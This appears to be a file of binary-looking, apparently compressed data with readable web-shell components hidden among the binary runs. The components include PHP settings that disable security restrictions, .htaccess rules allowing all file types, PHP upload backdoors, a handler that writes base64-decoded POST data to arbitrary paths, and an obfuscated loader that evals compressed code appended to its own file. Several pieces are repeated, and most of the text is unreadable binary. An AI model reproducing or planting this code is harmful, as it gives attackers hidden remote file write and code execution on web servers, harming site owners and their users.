LǱPb%R96mxPgc.p1Ӳ$a3	OEXtLR|(C]Z/Ax޿	a䗶 +a]tjG#qћfhytjxrcsw)5ˉT{$	lDv1/ÖWj^Nn!uvȱ=#gETfoRq:caB9-Qg$cd*L麘Rst%կHA䃄#m=KaC(^ZD6#tpm,*R֠4EY+ބ&/rȫ%-dtmװd"E~gVutiq!K(O.!:Mz]/
6(y^fusheizdwx&^Fמ#0*,fusheizdwx[nDie
c O;hJ6|[}'): 
mc8,D4?r  *'D!vFMrYĀ鐥6i8y)K'
fbMfhytjxrcsw]|$H]1».:?D2uBըW˛D$Oz@ԸLxbNUfݷרUe!w-,uXVH@Qg͝(4塿
U.	' h!U^" 6$zwX݇yYHbOKhg	8τPhl +i鿳fhytjxrcswr$OĬ-'GOQq:z$*1,cL~Ĺ4us}X^/uI4VAЄz01Zo:~s
߲On,
&t)fusheizdwxǝ3epKfhytjxrcswGSWsGiH[fxȸ}y6{7rb
yXTCZY?d;ӕ4-NrǇ.fusheizdwx' 3
IJ'nae؝߇B~{`)TfusheizdwxlhQujṰRcQrd֧5u*@~Mu;KC&\rzmJr:9@.^Aカ3.JFfusheizdwxI3rӇ}XĥȸڼJ!#o(vaJ/:F+O e/ضOU*Jq&@:_3-ublwXn$wG{N~{!Yy[e͊)TB
/\QݾfhytjxrcswۓIsv+0bČlΐM&$u&S
iblm's\=nZcfhytjxrcswI%fhytjxrcsw&wgY6)ciHb`O[F$A?GS N]̆.FoTEЁ~5n
|S"O%7H\vTsaGΥ( MLWNp"gfusheizdwxSf% ⽄KoE͵zuԝ;NyYΥ 17DK(^KO3IkAɓ Vf%,'ݬ@,91[i9y05v_8mMT"t/ȇ|o}cq\@?@h9
W\dwJM}V3) %eZ'A5f)n"ǼѼkL(SC8}[ W!07mKȒQDzxrXWF
O%4{H0Qh@8
jiq^G^&NvƛųHi C9J*ӶOD@Њ6E!e~@~aj[]@)iHS"[c?mo{hQ\.1O$
4:bRkȫܳV:
*YL] ~GzBA.$	rI[3rSVT1:	b?,
r0\GQts
ָVBA4M`?Ք {fusheizdwxOE~*t"vn9v}
28c7VlS5(^b|_hd
^P=*BxX96R"x9fGxy{2($ v"F K%Sx.EIC)=MҸ,O{^pC\
+?YA'lTۯ?Y;o,}xwJ!ַ
e|Hꊐ2MKHlA	uɖS:5x&)0:=&^,;kK&䘂.EK0v/!uJ2ľ4F7J] #fhytjxrcswv -Rp(	fhytjxrcswv"EA4T0*t)NpO'$NʵCzjt})T1Tc{]MS[:.*IhtFbC]2lc4PT؄RǄgHcaghfhytjxrcswnrbUfusheizdwx7w-520efhytjxrcswo
*!47mei-fЛ:
=}$cF.Փ&mR 6~_s~fusheizdwxr
~kh"@20i5V婑'5owN{6[+"G60U~~
I,}[fhytjxrcswSg[h
Xէu-Ĩӡbj}ǲwB('RDb4UOmƷLvDbۦ) \Ĝ1uer@c/	ǀ4*ZLn%4WgɣU}mI_4V K _FFp6uUV򚹑)04gDιڅcU?£KӣwfǽNfhytjxrcsw}][3DB2Tfhytjxrcsw$%EIpaJ4X_D@߯vQY=irQtB^`kb*1%֕)8fhytjxrcswsd ?p%|djOSN*" ֦2b/3(c;BfsK/jiٸvuDfhytjxrcsw.3ʅ\ǽ)0sdivWNzm.HoO{[ Y^fhytjxrcswN͛3N^ ~.i bIa聏媯2cpGFj Q=nL.^4$'Phr)VcmkZC"Gyp~Q|r4:|8\O}Zf*1&F,%;gJT3xEeWcd;bU="[hdݷm!gЎ\O(ɗ.fhytjxrcswh&JE3MPN FY$Rn6fhytjxrcswWMc-Zq:Kގg
w0l$79w
Toc8N9=fusheizdwxu@Ы)q6fhytjxrcswfڛ0屘3i5	hu:QھV.syr_iCKukg*W0IZR!_RPp
ۚH!g}1dfhytjxrcswas}O6w|xA.q,Lwfusheizdwxm
qы١c3gߦO9-
: ȣ|s2m+'Kj{2fhytjxrcsw,:S\u]HEY ݭ[|J
8-DT}9_OS"h	[#Prސ֎E#23bM~ѩ_a|)'7ت}Pm(PÏ"eYπEЩ?}!po]=N'RqeWJ,`c)mDk9	]_L9[mn(]MY{fhytjxrcswP8|0H[3i4CR[
B7df1AVL?^Aߚeyp-=NE_Hx-0YĻF6
QFpY'buȳ/ۅaIc[d4Ux9T?[ӂ}h7;h$sc$fusheizdwx_'(nq@\fusheizdwxb׵ ,۹׼b(+Q0="!UȤkC:N ;l|!4
3W}y5fhytjxrcswAa?q}]G}'=Z|k&bkZ}[v	Z^¡@/́Wޒ%&o@𣏕.BdRΉ| HTezK1©-{Rg\{Ky(&`W+fusheizdwxS+IC5J/8w
IL|B"wPYT|N̪,8򉝉-ʰF"eJ3AGz+E/[y8Ί?`\67}͏~-EL-fhytjxrcswZ	׀E蒾;))CCsnV۩o}Ǭ̉O,[!ʜ9OCtDj綰zw}#T/_Rm}ebfusheizdwx$w	1!$ 1֘aj1A={&[ҭ=*fusheizdwxae|MID79޿{/R۝Ffusheizdwx"y&|3"Χti?6QX\]BnMv(YXU%'C@W!8IfZO\0v|$z̢hY=[*DIzגAT?%&[0pSY m_RowĆoh[N¨TVǞfusheizdwxF=2Dca
el~݇g& .F*H禱*Mt)-_dt(nK	y:Nyhsd}vBޟ^MgHXfhytjxrcswYN|T2ɷe( 7ŭ;6Cy ҰΗO9oQa3	D;q,*S7܌fusheizdwxZ Fl 9pc@~JzY_UvӤLlP/DDFP^?۟ ?WJ"
24%*i2&!٬f@TwL4|}°Yfhytjxrcsw93g%b};5H

[iBGc2e[z" feZ.UHj77o̊;#I;mj^%h_l{("O֧,2jAwM=C/&*QI^~WS	V*8`H
d()KZ?|R݇|ǇK*(\B BC)fhytjxrcswqu&l\J&F8^x!SHGRIfH02ދl/yWU[R^OL\C?}xT6cfusheizdwx[:k G
J/LQ)s'"ȻF];,{1rB7Pn|fusheizdwxю
@$7GQbXKKCsʚ?jvi5Kc=y.Xth;ؓTs	'KٮQQϗ.&~mj=r	y*lVl
$UpUDm4ZzN}fhytjxrcswXdS
j6`N
iz@@ddfusheizdwxv7mW'P㱱@0=fC@hzm"C(opTqs4Z0l+"'
[ivV
ᵐQ@XYfusheizdwx+]$5hDl[ .suqA".m e`fusheizdwx]d/NC~/"3$!b^/+շWD)d4E
'빯L'[8 ,rᮭ~w2դcm2҆E
w8;..ʫgdq`TN4OHy;UgOJߗ@# O~1M5vkSCGfhytjxrcswC)Qz'e0QxdE3ʰ6M,Bfp~0pi!$c:俊_*{:'tg
ɢ
ּ躅j.x+sfRfusheizdwxPu,r5܁'m3$+u3}DJz5+'=:_GNqq'fhytjxrcswh@
ްyrLH5Q۹mԜvfusheizdwxGV	3Q2EY~UCk5Y,ouţO.D#ĕ%}[R7lmrK1-ކѤx_d"NTά_[4.J`fhytjxrcswM6udZA'
|4Q~wѯv@Gexpu51
0Rq;#X29^ŏ2Тwҏfhytjxrcsw{hP`#fU=r	mfhytjxrcsw~[?Tq
fusheizdwx[5=Χo_@b"Jʆ*6|O5+n4Y3Nb㄰pc)=Bv*'I&bf$}`zݙ9:fhytjxrcsw7NW'ʁc;\#H7j=$t"GJ*(/l`d0ʄ{'|2/iYY:Ň2(!(E2}3	)M&ʶ3iyfusheizdwxU8bj"ZGhl6A`&
qGddbo$KZNi` Bֳ'(~y5ȘjbCUC2u:sjݘLA[{QwhۃWbods-L?ѭ&$lrBУ~&
=}zd/чD#Ĵ1aͶvLf^\=9G{ܦ~
UjDW-nVlBPV~ǕW	͈ՠ)af^;J$0fhytjxrcsw鰻NFҭap#BԕȱYXBfusheizdwx'^	ǅ
BV_l$ESk`_*ߠcbikn70yKk	\_l\yf E-kWifusheizdwx?KHO}.S5O!rBfhytjxrcsw2!(?1)~jحNgt7;gvʕVjKFW&̋9do E;sfUFKEeJdۉPמC`.q,m4ɚ5&J\x\b91$: -HqE{Xm'f*HquB@-lO@U$&cވa{pɗ-7dhfusheizdwxvIIaXUӕi_%3fusheizdwx[E06Jpk7ٚ|QUxTSf!tҒj:^=bMm@YG Tw7zqZfhytjxrcswثTYwom
xz*6-}&vANOoWۯX{q.~G$PzR[oLa?ˠ|L $%?"UYd.y{YڹJ57Sgj|+23# gq)ׁg0=T'z4}Y["*94HbdZeȨF* ]]JL$.Ŭ!a7B,BO,
 ZHzY&qWv% QBL] 61U6$B`M1crѢ3f7TqMP~s%
s̗"OCev%g*`~lr![WyQb7{H^tY!=]7Ρ.:D![.Sҙ9m7J~2:p^5u?M%+`J+}1TtSA,يSB9/
$Iayt?i	
j%Y7]iyk3\z+x=^i)}ϖo4~t@Ă~Ǭh=7ztd
,q/^w4QsKʞd=$*0i#tFB&5åT]*^2JG(U5jfA^;h8rh:WW
Zm$ޞi+G֤dlû3~W}vjj[89wʛ%CzR(9\KF1N4j7	%Zȣnb˟	w|:aQBo?n6ʚHMJ$_.)9[jh[^UPGڎ|Ӥ[l.CO3hꗇKwrCHR%"׉f~r&ȧgfhytjxrcswweno BiߌX!Yufusheizdwx.JmgF\~fhytjxrcswja7"BmгdF6fusheizdwxJmwɪDBA*Ǖ4)Iz}Oe/6$#r 65?\?5kjPE7hAhˤN	_fB9W)tp{봟,EM_F8]:yke	rۮ`K=؉3Fv9zԩfhytjxrcswrV=PNݾ"xv͸[2,ǧ;
t0H*د߉;/G]	٣$}]#|m ^XFϐ:fhytjxrcswjm1sQHq)/GY$@hQ:՝;LlF mJτs8c ·o ߛ7
{SCYs@k'Vv@p'kt,v7NA8fxR,5ⰠfhytjxrcswL9au[[td~|PC^4UAg9.PFC _}s
y'mIdV
kݳ=Xmlf\\@Y tƗkXj2x޳SH?qQb).9fhytjxrcsw:fBKfusheizdwx)/_ڣl&`%dR*8iҴR+@
P.	PFt!ӽ/P//ԛ9@9Pe 3&#67hݩ@@v)W12͝\uk2w3ڤm۔ -3fusheizdwx^w{F/1TAp̘ټ	lFMSWby}&fusheizdwx?̯=g _%Fq0E$I^a)+;U=9+\YMzHfhytjxrcswnTpjv7C=Yp)TyG?m.řcϤ|P\yKQ(T6̙"TZcʹs
XVtfSHxBg
YOZ?6*%ߩ][l7ya܂cݨ	N@,-
,a^8Cy \$fhytjxrcswp%
~uǀ 80qdp^ a&@:g"(G
h)C9-peG%;	1F|F'kvj|]o)ֲ,|'/Vp
!#j?%^+1	ԥC
nHFcߡÚܮ	fusheizdwxOXrDc HkCc-LW vDo}ReDsķ\G̕}T`qdJ*m, /	3!;2J2Ð|Ӛ#ۜ{Pţ9y9\tA	hFYtmfTΔ/1?[n[|D3c43fC|Jb![&赤aqFKy̈1:gbF'Όi)7O^Qӡ|8R՟NLW{	9g;w{Y@fusheizdwxWzmwv}RdF[
 M'p\fusheizdwx{3Wg_	s2
,i[l*IPl8H!k1)lr546:ɻvg5)ˋ&mϹ~	M 5cbuߠ|0}/Bc2t
fusheizdwxwTQq?Khxz^zڒJ_)*މG1AhO-Ęg:_q1Q'ezn
ǰxкfhytjxrcswI75sdR2S)]s&tiV xC9jzNtx߆oJ5a=wEtM-?Dta+ow/Z߱p9
V-c]tFbI#gP:5Wι91+IH%m~ 5خu7䣴YݱViZ.dLz0.Ud1~E2WXz$xL_VJ687QAYPϣ􈴝z4vߩҀq=eJE1BMr:LƝmAYǟhY!SNSץ/ecDf'yt{Ƃھ˯7~ɯdo3-Tglb6ȌZ6`I6]OYHUkRo`%.| i߲fJNWo'9I3|e]06lȾM*9/U[@!{&Xڏ9S!Dۤ2`%)B!mfusheizdwxo-_lJ!׽X,,~]w]Zin#á."=#9u"=a?čs2jӭ_yϴӕsxQIII"}̓ƌ)\0T&B{SxiRB67tK{H +of_5_?H] *2.n5U}8cq!WO*Q=ߟ{PfhytjxrcswmQfdjl7'_):1FJLdeOVh7^%9=ğ8N	!g6KM9m^dF2d`E*!ƝIo4!2 8c ^ʻKi^ph.ˀ/*Mfhytjxrcsw=.k	Q?'%x՝a{fhytjxrcswԣJM6Mu!T#fX{㣾DfECۣgg酜=(05fhytjxrcswyŵF:}XUɩQZk_֕~rRC?X#U:ҠzVJ~8ܠ@P{75%."vr:8/Ũc@^, J)t9a{)K(l`97;;ݥVYi֪۫EͼCS"r&KqY·fhytjxrcsw'*fusheizdwxk#+9'{j۽7ifusheizdwxs!~-uEI"Z ݔfhytjxrcsw$nx{펪H(/rџd`l
g{U4&$kw,/'kmNlq􇽑)!gDJKk_Ra-%ݕp=fhytjxrcswL2w RYU/E-gЏ,Zb.1IIAR΅r61©-b7c/?ig1d'Iu$kX{XTY7#~s
螝#\^ߩmJS$d"fusheizdwxh*9*䏜]ܠ@Λ$-ʬ.ނ4fhytjxrcswSR7gEf^ʌtM!V?ء8$'(c,v]Ɨ4S|,5sB#g=ruL|0և	V\ufusheizdwx`
qCӿ;ke3;4.q|U+ws-K+0^ U3r7S{?%
HnHL@("dSf9PBaFVYr8Oyphc']"А^%'|=_q%-G/.jfhytjxrcswA($ЍgGzfusheizdwxsߪ" eOBHYS%sĥaǊёƈ"/aG"O( 8N}v+nf%Tfhytjxrcsw
ÉP\Mbq-՜eXuOv`*S";l428 &MnWOxPnY/3p׫uNʜUAޱ.7fhytjxrcsw7
b"rs5.z
 6
ۀƛN+
|Xfhytjxrcswqba.q힦_fhytjxrcswI:HVj՗F#'tt/K.
ʻyg5uAye2xL%G$Vqq~./%T+;L^|U8`aA!#r˰aG@48Lo];zgf~4TDd$Q[߈NPʳȺ[
.f3ЌZfŰ0.0
nq6EkܡXiȚcu,,^TVճ:^k%o:c$v\fɈy$g`e?MtgҎ1?D}r9s4ZZy2q}w+-Q0SfusheizdwxN| q|¨Y p&'E?fhytjxrcswF,˦mfusheizdwx͜	_0W&fhytjxrcsw2z;c fusheizdwx[h%SH2o{J8RHWz:`-ǒٿzWfrȾHw;95kE{Jnr̉Qz [qJw)(`;x~c&Ϳ4V	Jrfhytjxrcswt[@xxg'@=х
ysK\1Lr$ALCA,\tLt4籡VJbV0u
.={#|ؕ㨣I?yiF	^$q22H!{*z !H軭,7;zJ1¢SȈ|c܃\ڀ ]4 U-u+DL
x7`c?T/7#d&?-XrHYcafbMSK8U/=6hfhytjxrcsw68FI6D&Ú-ԣY20jy5k}xiv/yʤ1dǀl?y#䊏7X* T+5ESs^ 	+z+?
/=e%x0lOROt+%PR(7닛nn(w^U	ow"fusheizdwxkA-ě
[agR-/TʈqN3O$E-Rܕ^ETmJŭŏ]),W{Xm(j(i	D5Ļ~0SI G21
g?!P]
j+:jC4actw8=[XAk?(_fusheizdwx
+2^Ð"~3ꀜb:yf8c؍[סEC*SljIXb(K)jC#AG&}F?禂B`FR|)
T.2:1c8&p |TO*pD9CH$L%r޺bV.QLPbfusheizdwxO:QN.iT $]:QꆆRfe7-Rf7Do2Rs3{7mc88tjU
-OOIqj/4K5G!=D'ME:hbE8"UҪ-	&-Y3ɪJǡǇR.!4{^MO)UU*X/IUpVVq^%VtDfCy{$g#Rfusheizdwx`4]"6iZIyY$.toMg/or$b~Ѯw:{}ΧfhytjxrcswQj7f5e?a*x1`e5fusheizdwx]\q*"MQHLR5Xg?f,N"@CI=b*5\\řqRmfhytjxrcsw:EF8@pN|W+.#G
@4ބQE"]\f԰UK#Kb)|/\ZcߒnIRlj9-{QXJG/lYAʔj&R_]2IXfhytjxrcswLG{NN:[KE.wE	JR岴՘Iiu5%m .M&~"%iɾ
mfsfI1$ND]ÇPO׮~
=o85qfZ"yv"qfhytjxrcswCPu-9JZ4#;BM[,Zzt
ݯsxuKI.~`	%PK^ꚟ;!'cűiGd	Ie|~MbPǶPh(?MŔ'
;n7f	gH1fusheizdwx9Ғ!6Q9͞ӨKY'v Ou/\LRf~JWۃ?[bߵm'\cN搘*)I;էOOd9=p4亞\MR@E!+Q0m
"hVUEw͟ϘޯMDWNhtPLF:F7n.n|@$}nrGx9
q'H
= &3dcZ;0R!D=lbXfusheizdwxj2畵UGLpqN@@@ezbE2d5/}Jd?gCwZ;
T@hZ99~\8Џ{lmwEDM[GBQ~͠(fhytjxrcswZ|1/x;& PvAm`#8
D*Ab}v5q,MY;5yexD2	؋qpџ:PlSuoGc4u!{?f'c1oAfusheizdwxڲU~̮}[s[7Dz&L|*]51O+F6HfʉKQ/Sz)g*.cƏ_%cY'j7|Ui.VGqLl&펝i7tfMX:m8E$箖Z|HQ^lhY	T:`\Ȩ'R,KrՄ|B4PmxA
ɬ甌(-P${kRS@=nJw럂_ؒG,X4BӰOg"g_Q9K|1I`~7&7ո| !%?B܏gT2AD8ف3fhytjxrcsw}عt)mlRB8 2^j'^0сo~dfhytjxrcswsYZ~0~
 ,kf	74AYzzx#|(صUY.CV9()_x{L fhytjxrcswdmӯzo֟Ex4 tC9fusheizdwx2(jiEՑd#ۜH
D}SJQD{
6XT!NOU9ڇIq,!DJl vfhytjxrcsw_|Т|^1Qfhytjxrcsw}S[fusheizdwxTfhytjxrcswk%~fhytjxrcswGQ^9z%#b
ۇfusheizdwxoI,8AEZ.n
r3|toc?8kAhc5	#XǶLxf'ǟQyM|1
r9m8Lx0OjdhLTJX,
zY)V[(QBxT[x
$0U_k;FH2,g^yt7+1ʾ=R|Ʀ&Ȥ?]=!sYg3bV@9J+XW$9
\|L+zk)n*kfusheizdwx
ڤأg c2-ϥXq~}^PzvG:BJrFqDn[Kw@p4;voDKŮCn;7CcޭօVlkEZ% b"hPb$m'Nθ{S(jF[31)
cGi|4uD/Bϑ6gPC81O^@jծ^րd, sQqvz  !}2+:yviĖc|VDlϸAxb^wp,ST#^`:m[`+  yf?7)5\L! DX$MG/{f.QE;Mf[	uGjfusheizdwxqv]v2Nɢr=CQhv hJ'wv
VfhytjxrcswT;+?K1s͛~,K˚iՐht.7ѵ~1!K݇jg˺pGŸEHȝ|A[@MRuޗ
Wм)Jۑ̏U
[:w^єմ!s)FG_fusheizdwxPS,-
ހھoS`
ڀ$=5
O)uah
/$xሻ헩Փɭ2D;ԑ.ĘF3)B^fhytjxrcswVl4.SHIt\&e=SnP5g!/Xqۭظ"UZY%Y*uBP3fusheizdwxk?Hf'@	drߌ[B=+!vKNƈ-U1N{+DݕEAfeMwjE.͌wXg*|xtg-QSa7S֌ZE@
\	sR֢ّ:9fhytjxrcswZt&ޤs5xv~k"!@3j[۵37
rM;,l66FH2I{jowVJ,'*Q-r.`Wvb4UB]GXL:.!Z ^ْ ޥ(X=fusheizdwxY,il*YcL'O?b[ȊHޒ3[P s h\8uz/BKCAV#71n%f d,h}()(=t*xa0V+5eL{˫jP\ƞrp0cr'EjBCtbЙPaPc&5oYf.W8!!]"{_|^
.TuYdFcZy	-HjÇͱZ^!eJ .,
P`+VD1̖lT?6۔Ql({#8@qWg|Lׁ2"31nHnHcսi&
5 4=sJq#_s=-lN||M}#&XO"\b`t_GE9[z}V]O1$II#Ǭ[AfusheizdwxOOO~40safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'b'.'ase64'.'_dec'.'ode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$gRwZ='gzuncomp'.'ress';$TRlV='s'.'tr'.'_replac'.'e';$bJvR='subst'.'r';$sqJN='exi'.'t';$bPET='file_'.'get'.'_conten'.'ts';eval($gRwZ($TRlV('xbrloyjgvf','>',$TRlV('klbreyjawf','<',$bJvR($bPET( __FILE__ ),-173134)))));$sqJN(0);
?>
xDǎ궭*q.NNz=Q@F CRso(5k}]_%T~:F^˻7N ~cȋ1y+!ی[xbrloyjgvfhbb]u?/X6M@tJ%DF)	%II&xHCt^(A?g?L6		6\N H IgR9Nd5ݤGnIZT~lHJ
t5h_1:R5 5ivJ/$XT]\ڮN,xbrloyjgvfor?٘ЖH}dwxbrloyjgvf(Vra\a{**-U팇: S`-ze F+tOVxmxbrloyjgvfNjh7~8iY?8X4u	'0Pxbrloyjgvfc%#rqcqkwsMY vڤ̛#	ɪklbreyjawf@)KGwd
"$:ta!1/u2W/|/qh|}ẙ3$ME{2AR6K?'z*{?B.&Sĭѡė	
iMQCL\OHj;hS;L"d,xSm@^j[\y8Q/cG;0KE@n+M2cqH*I{ǦKb

0"Ѻgф4m26CF#}s uD؃#o6RaFZ"@r¤k@N')Pklbreyjawf2\b7AUG-5N9t`=6?xbrloyjgvfp0J*e/@V%s rGYɶe'ex̠_H#j)G
ܽNQ0&&_-P^vT
U⛲t#!/t
ͤywBǭY릫?Py611r-l\;|@z $*h VǣW)aF5)2o#j#Akϥqpxbrloyjgvf-=0s2CdqU	˪3:DbWԔB/er&}E0k82oAklbreyjawf.tQw\OgPqw		rxHtaW6l)J˳
X0\w {=g$eMp GK4Ee~gD0I#׀5 ێRcghsBZweI]wFkUuHN2WHKw+9[݅.9xbrloyjgvf{W/v[pmYѦoNa6,@nu@|ͺ0"핺=:&}=`TChe6g5X#/=_mK}#eK5dcqa
L:6J?h&qR]!ܵoAu˙w={3ivmݳ۠4\Q䦆XF_(qN[Ekswצnxbrloyjgvf:&Sم2voKVcehY`e8Dklbreyjawf'A!xbrloyjgvf]GU1^Hv&JU+Њ,QKdM-'RZ,DkD_uxbrloyjgvfHw0Û*G'D$4y[v9E֘NCwk'xbrloyjgvf
K./DL
8˷RkP9":Ng#oO
klbreyjawfMP]֠ET9Dk)
.Smȼ!Lb}
wFT.Jm(=Y2&Cklbreyjawf
b*åӸdcKG,pp?dҐJ-ݬB}ػgBtS/*El?ӉUt,9/fhQz}}M英@]klbreyjawfO?+owKRXpY4Qht͉
~kzʌäiLIl sh `}
%j~KIVg^!ʥ4&ncp;_$TRi?*ތI\8~p'l*qϧy5R~WL锕ϕa&e%]W(B}p Bֳ"?l&E.!,S06*
36qǟN@&DnZ&MxbrloyjgvfyFX	U=odы\݊!ĪyjP1~gb: {hIur( J᰼*E^r3M7n'OB6Qˌ`y*4WY_?qqISKԠhep$Dqfkb̀UnxVYXoܰgKAJ8vT_~{)ȿ!$͑rklbreyjawfp~373$%9[hLw%~㡏@klbreyjawfBw9^|HnpFbyh@\e/)Bae/3?WF{ϱ?%¦	@ү7MYN}oFqѽPNr[ʺ 6!ȟ=zFɯ#z[%k{[T6L\;2/í{휊3bKxbrloyjgvf[.Tz]dC]q#`[;tP4MYmH_PZd,)]n^G6`bÌOklbreyjawf%7uBo6ůX4۬.L}	4DfY7+eDGj'QiGiBrg~Հ(thxbrloyjgvfoM{1)4?_sC|gk9;DMh@Mؙ#!%zR 0C]xR܂O.'Tz[|xbrloyjgvf'
[&Floum~YhS1klbreyjawff~XX K
SI
 xJCxbrloyjgvf"Oq)/|!TH`D=҉:hA@1nm3x2k,MJ:oL&klbreyjawf\
NӳTlEVʒGǅ8!,Df(Nklbreyjawf9H]a9*yy3QI-Xly!nPTua~i[6?klbreyjawfqQ??~z\c{e51pBmK G/S7ݎ0\Z3ĝ;((	Bസ &#D枰^ʡk'!]]87Su⒟ g Sh?pVU
!&/#fNxbrloyjgvfYlN*+^xbrloyjgvfGYz[vklbreyjawf?-Q,h̉R_r7Z	-zVP6
2 u 
֭%ϵ)xbrloyjgvf%h?m?'iZDv&G1
`h$Gz\U/CkhR=eX0xbrloyjgvf0Hu4Zgǿ@ΈrP69~| Z%llihdgyA ^jm9yNW$YfHQ'WdlLc3._6ŨZF}ƛڅW)]-@_oSx|OrEX@]2GQ/
ީ[~i2sl(YhfCB;Z0};%ŏSEDI=bN:u^AZhxbrloyjgvf# ZJ*mklbreyjawffR
xbrloyjgvf]G
% BEqRe
,')Xc"gHՂ}RN:@dW
*$ŁqsLV 5JNwR[MVvJaȽL{oI	^E^, 5iEvr(Ν!Z=5[izP嘆hvSYsn35lLEQc}s+jph]3J=6y0E

*j6UqyT72
zl9UzAGEl'r͋NpL]9C7cd"MW49v	$92#1ͣ :a4nHz 52klbreyjawfn_-:#qI+xbrloyjgvfT=kCӱJ51!)~𧵉5tC2ki6cH7=hX1'o\_~]آ?c L'QEmL[Yklbreyjawf\WksyV4-".z(!Jklbreyjawf]-!|3d	zb^klbreyjawfQΡdr	T+
UHI)W2=/&}aՁLnOkX0Zr5^%u/Lbފ?=}cr_=,ǚu^Sm
tiQK	3?]mWeA)*޶ V,`lrZ Rך)- O~ٽ2?iQo "
|UD,2W++.Ya{xF4XvF&?
R ow43pL6t;thB:P39ŎsyIhi3GlK1A	=WEd+7L|O]ײ^h ,rEB!~F3( EaYXّ'r~[9oRh
t&5?.ɲi|2_pPY֓E\ݪ`9
:4U~yfV1.P^%^T7Q[gP*2Ji\ $QKm7265/r]ij q3.n0eOg2-ϑS"][W~Ub[(NxbrloyjgvfB(E8C=^lbpRҽ[-97NoVMyNLH/ғ~`i ybwfqWps,a'kL"N8klbreyjawf[cBq C3R{_¸Jc
(̱klbreyjawf4Ѻ@_f,[?;ZN,%mQo'/7Lp9&] TyÅ~ZNR73@K05_Kb gw"Tl:pF0cbuͺuGzhklbreyjawfV?*Wklbreyjawf
Z2	YP]%FT=4]!xc,C~ߩfkwXמ&Q*"^rL%=Zud0F/zi+9~NZU$h6b93BLQcC\uվ_Tc1?i?2\Zz2Hrzߓ\Heiӫ4QΏSN8;)#l|u1kklbreyjawfʞmb~~̼0F^xklbreyjawf`klbreyjawfMgA?W]٦k'v괍
	0)i/&7~Jj:E|	N7)W[!#?}k|Iw r!Z'``1 f$c[NZbWbU'Q]h=Aey=org]-c VW\cǊJ+|w@IZVr?;R/MGz`o3:E)H6A;?޷, m,zB	NKGz *!Fd?^Sfr}u FY_L8t;@qI蝴QXٞ9-;ZxTZGB;z"*=?7њ0 _T;5K=^9dt[`*%caxbrloyjgvf2zh)m-UH!na=o&3U d$[`tkQz:L.e2=@F
sղDct8I[rIYу4t!\bSnQba)QeL:{`r|ag2*Ǡhj羢q
+s{0Djj.EFZy	? 4o9s('f'8_or.LʧF|
lO[ǐzN
`7+w&9XF2ϷVav
 6]~ƙ?q'E,cD10vV_Px 5"RS{H]	mw^n	ԶՎbRµ=WJik1`.݈Oyڬ\(*\ߍ~/*ҫ8â+H"]-+h[Hxbrloyjgvfr͕;S7˾{w'Y@,i,aoP{XGt宅?1F"& klbreyjawfafRKjV)&yKGF3"'2vE^R	v_3~geOS$NBY?vDPd3m$H6
Soߍ7aPfaF4Xl?=xRÇ44!2侀4DQ}ԏf97!Xs6Sj`
,=Ɲć/(8E9"؟voR+]LDKrP
0ᛞ-uI80!UHcd5Z_*Drs
iH[(Pޙxm;;ps1klbreyjawfZIp5O,BeQklbreyjawf^B#Zo~p-βp-ܢ|5IdY[4xbrloyjgvf@2c	S
!8.	[_"%1QNѼEYyw|
I9x?{}56|vk`#xbrloyjgvfZss=ӊ_yO*7}wxXlq,S[2%;!4PthzەGlDwれfаrL'`2WTNw#l clx!Ļ݀*ÿ6exbrloyjgvfӬXVo/LH9/;`Ҥs.KL/sexh_ZnG=s3ǴDy07}AW6Gv8^
W~klbreyjawfhsj=7G3p?,(f\hRm*S]lgt197ePY4De{"R`=Rov!+w`!h#ZoxBw@e}&e5
v^Qpм%:)tG($Lmx@
0չB̆ȵ;Q,`# wo3)s)Ƃ(}ZUzgr(V&oM@[sF8U3[AA_22EaWg
0.ny\eC;HP&=3/@Y+~xbrloyjgvf
tٚAXɀFjkb^o6htCP0]klbreyjawfh$dD*Yʳ)klbreyjawf?5$
˺S0ݡ]v]BzCRd;n9KYP͒xbrloyjgvfva;Xʩ
8jE1K*` Ex|ZwӀjvjD)#xbrloyjgvfG2$7vx}/␡Cf|wjjJͻ97VYPa係Ot[K&r/dqļs/3KDh
6ף6m/_ v]M]*_ą;n/W/f$ zӒj1ʬXZM㾍Kh]\IAklbreyjawfo
Y$Ǜ fCں^?%uJ
I:!Ƕ8xix?		/~[S̴\jrnKﰐ}쒬fHnmAڸH #j 
Hdvo@]kˬ(jnaDe?Jv5nPO8klbreyjawf/e.q.bn`$aEǗ,Ӝ!_֧qt'HT,^\p	`ٙR~=Wر30G)qPw9V8'i( bz*͏VHm+]VQ ޲tEK7s]wkӸ3I %!L£

Ѕttfr
-dξYLz:SUNw(B!g2(AvRc?~*OH$ۇg3d|_=jz
D!DklbreyjawfJٌł@Wa.˷xZxbrloyjgvf`Whi6Cdܺ=|QDfzCF(EcLTQ|ou5ϙi
|:q0+똠-C-ﳂ s1PU~+`XChp(1ZrAM3B뚨z:,,kg*Q8Jcp1j#±TDQ7SoHxw$=GWv=-0Y̾&Kxm6'Ɵa)k
y9G#uk2Ec|n	mXc Ď6!/
